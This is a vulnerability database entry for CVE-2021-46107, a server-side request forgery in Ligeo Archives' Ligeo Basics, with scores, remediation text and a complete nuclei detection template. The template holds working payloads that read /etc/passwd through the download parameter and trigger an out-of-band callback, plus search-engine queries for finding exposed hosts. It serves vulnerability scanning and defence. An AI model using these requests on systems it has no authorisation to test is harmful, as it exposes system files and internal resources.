HexBrain

Browse / CVEs / CVE-2021-46107

CVE-2021-46107· ligeo-archives / ligeo basics· CWE-918

Ligeo Archives Ligeo Basics - Server Side Request Forgery

highseverity
7.5CVSS score
6.6%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features.

Impact

The impact of this vulnerability is significant as it can result in unauthorized access to sensitive data or systems.

Fix

Apply the latest security patches or updates provided by the vendor to fix the Server Side Request Forgery vulnerability.

How to confirm it

Send: GET / ; GET /archive/download?file=file:///etc/passwd ; GET /archive/download?file=http://{{interactsh-url}}/
Positive when: regex('root:.*:0:0:', body_2) && contains(body_1, 'Ligeo Archives') or contains(interactsh_protocol, 'http') && contains(body_1, 'Ligeo Archives')

Run it with nuclei: nuclei -id CVE-2021-46107 -u <target>

The full check
id: CVE-2021-46107

info:
  name: Ligeo Archives Ligeo Basics - Server Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features.
  impact: |
    The impact of this vulnerability is significant as it can result in unauthorized access to sensitive data or systems.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Server Side Request Forgery vulnerability.
  reference:
    - https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/master/PoCs/POC_CVE-2021-46107.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46107
    - https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
    - https://github.com/Transmetal/CVE-repository-master
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46107
    cwe-id: CWE-918
    epss-score: 0.06573
    epss-percentile: 0.9388
    cpe: cpe:2.3:a:ligeo-archives:ligeo_basics:02_01-2022:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: ligeo-archives
    product: ligeo_basics
    shodan-query:
      - title:"Ligeo"
      - http.title:"ligeo"
    fofa-query:
      - title="Ligeo"
      - title="ligeo"
    google-query: intitle:"ligeo"
  tags: cve2021,cve,ligeo,ssrf,lfr,ligeo-archives,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /archive/download?file=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /archive/download?file=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body_2) && contains(body_1, 'Ligeo Archives')"
          - "contains(interactsh_protocol, 'http') && contains(body_1, 'Ligeo Archives')"

References

Use this check only on systems you are authorised to test. Where the data comes from